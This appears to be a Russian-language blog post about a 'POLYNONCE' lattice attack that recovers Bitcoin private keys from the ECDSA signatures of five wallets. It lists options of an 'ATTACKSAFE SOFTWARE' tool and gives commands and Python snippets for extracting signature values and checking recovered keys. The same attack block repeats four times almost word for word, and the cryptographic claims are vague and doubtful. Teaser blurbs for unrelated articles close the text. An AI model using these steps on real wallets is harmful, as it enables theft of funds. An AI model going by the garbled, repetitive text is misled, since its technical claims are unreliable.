В наших самых ранних работах мы опубликовали статью на тему «LATTICE ATTACK» как полноценное решение HNP [Hidden Number Problem], но с недавним появлением новой атаки «POLYNONCE ATTACK», мы решили дополнить статью с использованием 79 signatures ECDSA.
Исходя из прошлой статьи, где за полиному мы брали 128 bits и с фактическим увеличение количество подписей мы приблизим значение полиномы до 249 bits.
Все что нам нужно это решить проблему скрытых чисел.
В этой статье мы разберем пять независимых примеров криптоанализа блокчейна Биткоин. Все примеры будут загружены в репозитории GitHub.
with open("HEX.txt") as myfile:
listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)
f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()
Чтобы реализовать атаку мы воспользуемся программным обеспечение
-version: software version
-list: list of bitcoin attacks
-tool: indicate the attack
-gpu: enable gpu
-time: work timeout
-server: server mode
-port: server port
-open: open file
-save: save file
-search: vulnerability search
-stop: stop at mode
-max: maximum quantity in mode
-min: minimum quantity per mode
-speed: boost speed for mode
-range: specific range
-crack: crack mode
-field: starting field
-point: starting point
-inject: injection regimen
-decode: decoding mode
"ATTACKSAFE SOFTWARE" включает в себя все популярные атаки на Биткоин.
Запустим список всех атак:
!./attacksafe -list
Выберем -tool: lattice_attack
Чтобы получить определенные HEX значение R,S,Z к подписи ECDSA, мы ранее добавили данные RawTX через утилиту echo в текстовый документ и сохранили как файл RawTX.txt
Запустим -tool lattice_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”
Мы получили 79 одинаковых первоначальных bits от 249
Благодаря значение на кривой secp256k1 от Hal FinneyLAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE в формате HEX нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек.
Проверим HEX приватного ключа:
Установим модуль bitcoin
!pip3 install bitcoin
Запустим код:
from bitcoin import *
with open("PrivateKey.txt","r") as f:
content = f.readlines()
content = [x.strip() for x in content]
f.close()
outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()
with open("HEX.txt") as myfile:
listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)
f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()
Запустим -tool lattice_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”
Мы получили 79 одинаковых первоначальных bits от 249
Благодаря значение на кривой secp256k1 от Hal FinneyLAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE в формате HEX нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек.
Проверим HEX приватного ключа:
Запустим код:
from bitcoin import *
with open("PrivateKey.txt","r") as f:
content = f.readlines()
content = [x.strip() for x in content]
f.close()
outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()
with open("HEX.txt") as myfile:
listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)
f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()
Запустим -tool lattice_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”
Мы получили 79 одинаковых первоначальных bits от 249
Благодаря значение на кривой secp256k1 от Hal FinneyLAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE в формате HEX нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек.
Проверим HEX приватного ключа:
Запустим код:
from bitcoin import *
with open("PrivateKey.txt","r") as f:
content = f.readlines()
content = [x.strip() for x in content]
f.close()
outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()
with open("HEX.txt") as myfile:
listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)
f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()
Запустим -tool lattice_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”
Мы получили 79 одинаковых первоначальных bits от 249
Благодаря значение на кривой secp256k1 от Hal FinneyLAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE в формате HEX нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек.
Проверим HEX приватного ключа:
Запустим код:
from bitcoin import *
with open("PrivateKey.txt","r") as f:
content = f.readlines()
content = [x.strip() for x in content]
f.close()
outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()
with open("HEX.txt") as myfile:
listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)
f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()
Запустим -tool lattice_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”
Мы получили 79 одинаковых первоначальных bits от 249
Благодаря значение на кривой secp256k1 от Hal FinneyLAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE в формате HEX нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек.
Проверим HEX приватного ключа:
Запустим код:
from bitcoin import *
with open("PrivateKey.txt","r") as f:
content = f.readlines()
content = [x.strip() for x in content]
f.close()
outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()
Самой большой криптостойкостью криптовалюты Биткоин является вычислительный метод в дискретной математике который берёт в основу проблему факторизации больших целых чисел и проблему скрытых чисел (HNP) в Биткоин транзакции подписи ECDSA.В этой статье мы применим дифференциальный анализ неисправностей подписи ECDSA и получим приватный ключ из транзакции для пяти разных Биткоин Кошельков.Rowhammer Attack on Bitcoin, позволяет нам эффективно найти…
Биткоин является примером децентрализованной сети. Нет людей или организаций, которые контролируют его. Это часть его архитектуры. Для многих создание Bitcoin Cash под предлогом того, что блоки с большим объемом памяти были бы выгодны, рассматривается большинством членов сообщества как пример атаки на децентрализацию. зависимость от сети заинтересованной группы и ее технологий для майнинга и размещения узлов. Национальные (и даже наднациональные,…
В данной статье рассмотрим на примере уязвимость, связанная с реализацией кривой Якоби (Jacobian Curve). В последние годы криптовалюты, такие как Биткоин, стали важной частью финансовой экосистемы. Однако с ростом их популярности увеличивается и количество угроз, связанных с кибербезопасностью. Одной из таких угроз является уязвимость алгоритма Jacobian Curve, которая затрагивает алгоритм цифровой подписи эллиптической кривой (ECDSA). Эта уязвимость…